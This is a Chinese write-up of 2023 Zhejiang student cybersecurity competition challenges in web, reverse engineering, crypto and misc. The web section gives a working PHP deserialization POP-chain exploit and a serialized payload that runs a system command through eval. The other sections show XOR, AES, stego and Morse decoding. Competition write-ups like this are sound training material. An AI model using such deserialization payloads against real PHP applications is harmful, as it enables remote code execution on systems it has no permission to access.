当前位置:   article > 正文

2023浙江省大学生信息与网络安全竞赛wp_2023年浙江省大学生网络与信息安全竞赛预赛 wp

2023年浙江省大学生网络与信息安全竞赛预赛 wp

很爽,今年给队内大爷带飞了,希望复赛也能躺

Web

1.ezphp

PHP反序列化,var_dump触发BBB,通过BBB中的param1触发CCC,通过CCC中的$this->func->aaa()触发AAA执行任意代码

exp如下

  1. <?php
  2. highlight_file(___FILE___);  
  3. class AAA{
  4.     public $cmd;  
  5.  
  6.     public function __call($name, $arguments){
  7.         eval($this->cmd);  
  8.         return "done";
  9.     }  
  10. }
  11. class BBB{
  12.     public $param1;  
  13.  
  14.     public function __debuginfo(){
  15.         return [
  16.             'debugInfo' => 'param1' . $this->param1
  17.         ];
  18.     }  
  19. }
  20. class CCC{
  21.     public $func;  
  22.  
  23.     public function __toString(){
  24.         var_dump("aaa");
  25.         $this->func->aaa();
  26.     }  
  27. }
  28. // if(isset($_GET['aaa'])){  
  29. //     $aaa = $_GET['aaa'];  
  30. //     var_dump(unserialize($aaa));  
  31. // }
  32. $ccc = new CCC();
  33. $bbb = new BBB();
  34. $aaa = new AAA();
  35. $aaa->cmd = "system('cat /flag');";
  36. $ccc->func = $aaa;
  37. $bbb->param1 = $ccc;  
  38. echo serialize($bbb);  
  39.  
  40.  
  41. ?>

然后提交get参数aaa

?aaa=O:3:"BBB":1:{s:6:"param1";O:3:"CCC":1:{s:4:"func";O:3:"AAA":1:{s:3:"cmd";s:20:"system('cat /flag');";}}}

3.can you read flag

执行命令

tmp目录找到readflag源码

通过readflag源码发现,计算100-200次可以得出flag

RE

1.pyccc

pyc文件,使用逆向软件得到源代码

  1. a = input('please input your flag:\n')
  2. check = [
  3.    102,
  4.    109,
  5.    99,
  6.    100,
  7.    127,
  8.    52,
  9.    114,
  10.    88,
  11.    97,
  12.    122,
  13.    85,
  14.    125,
  15.    105,
  16.    127,
  17.    119,
  18.    80,
  19.    120,
  20.    112,
  21.    98,
  22.    39,
  23.    109,
  24.    52,
  25.    55,
  26.    106]
  27. if len(a) == 24:
  28.    for i in range(len(a)):
  29.        if check[i] == ord(a[i]) ^ i:
  30.            continue
  31.            print(yes)
  32.        print('nononono')
  33.    continue
  34. else:
  35.    print('nononono')

发现他是对于每一个上面字符1-24的i值进行异或然后得到flag,那我们可以手动解密得到flag

  1. check=[102,109,99,100,127,52,114,88,97,122,85,125,105,127,119,80,120,112,98,39,109,52,55,106]
  2. flag = ""
  3. for i in range(1,len(check)):
  4.    flag = flag + chr(check[i]^i)
  5. print(flag)
  6. #flag{1t_is_very_hap4y!!}
3.easyapk

下载的附件丢到GDA里面反编译 然后找到密文和iv

密钥是,将reversecarefully中的e换成3

反编译APK,得出加密算法AES/CBC/Pkcs5 秘钥r3v3rs3car3fully IV:0123456789ABCDEF 然后aes解密得出flag

Crypto

1.小小数学家

一串数学题全部解出来68658367847012357100564949514849455056499845521025297455610049974598515698101999910250505653125

使用脚本转ascii码得到flag

  1. s = '68658367847012357100564949514849455056499845521025297455610049974598515698101999910250505653125'
  2. temp = ''
  3. while len(s):
  4.    if int(s[:3]) < 127:
  5.        temp += chr(int(s[:3]))
  6.        s = s[3:]
  7.    else:
  8.        temp += chr(int(s[:2]))
  9.        s = s[2:]
  10. print(temp)
  11. #DASCTF{9d811301-281b-4f4a-8d1a-b38beccf2285}

MISC

1.number game

断点执行

然后赋值

然后停止断点就有个含有flag信息的弹窗

3.Ez_misc

看见一个图,发现有很熟悉的文件头FF 8D FF 0E

对应JPG文件头FF D8 FF E0

用两个脚本处理一下文件

  1. f = open('yuanshen', "rb")  # 打开要读取的二进制文件
  2. hex_list = ["{:02X}".format(c) for c in f.read()]  # 将文件内容转换为十六进制字符串列表
  3. f.close()
  4. hex_str = ''.join(hex_list)  # 将列表中的字符串连接成一个字符串
  5. reversed_hex_str = hex_str[::-1]  # 将字符串反转
  6. reversed_bytes = bytes.fromhex(reversed_hex_str)  # 将反转后的十六进制字符串转换为字节流
  7. with open('4', 'wb') as f:  # 打开一个新的二进制文件,将反转后的字节流写入其中
  8.    f.write(reversed_bytes)
  1. with open("4","rb") as f:
  2.    a=f.read()[::-1]
  3.    with open("5","wb") as new:
  4.        new.write(a)

得到jpg图片

对其使用steghide破解,得到flag.txt

DASHDOTDOTDOTDOT DASHDOTDOTDOTDOT DASHDOTDOTDOTDOT DASHDOTDASHDOT DASHDOTDOTDOTDOT DOTDASHDASHDASHDASH DASHDOTDOTDOTDOT DASHDASHDOTDOTDOT DASHDASHDOTDOTDOT DASHDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDOTDOTDASH DASHDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DASHDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDASHDASHDASHDASH DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DOTDOTDOTDASHDASH DOTDOTDASHDASHDASH DASHDOTDOTDOTDOT DOTDASHDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DOTDOTDOTDASHDASH DASHDASHDASHDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDASHDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DOTDOTDOTDASHDASH DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DASHDOTDOTDOTDOT DOTDOTDOTDOTDASH DOTDOTDOTDASHDASH DASHDASHDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DASHDOTDOTDOTDOT DOTDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DASHDASHDOTDOTDOT DASHDOTDOT

dash和dot一眼摩斯,转换一下

-.... -.... -.... -.-. -.... .---- -.... --... --... -... -.... ....- -.... -.... ...-- ....- -.... -.... ...-- -.... ...-- ...-- ...-- ..... -.... .---- -.... ..--- ...-- ...-- ...-- ....- ...-- ..--- -.... .---- ...-- ..... -.... ..--- ...-- ...-- -.... ..--- -.... ..--- ...-- ---.. ...-- ..... ...-- ..... -.... .---- ...-- ....- ...-- -.... ...-- ....- -.... ....- ...-- --... -.... ..--- -.... ..--- ...-- ....- -.... ..... -.... ...-- --... -..

摩斯解密得到

666C61677B64663466363335616233343261356233626238353561343634643762623465637D 

在hex解密得到flag

flag{df4f635ab342a5b3bb855a464d7bb4ec}

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/900686
推荐阅读
相关标签
  

闽ICP备14008679号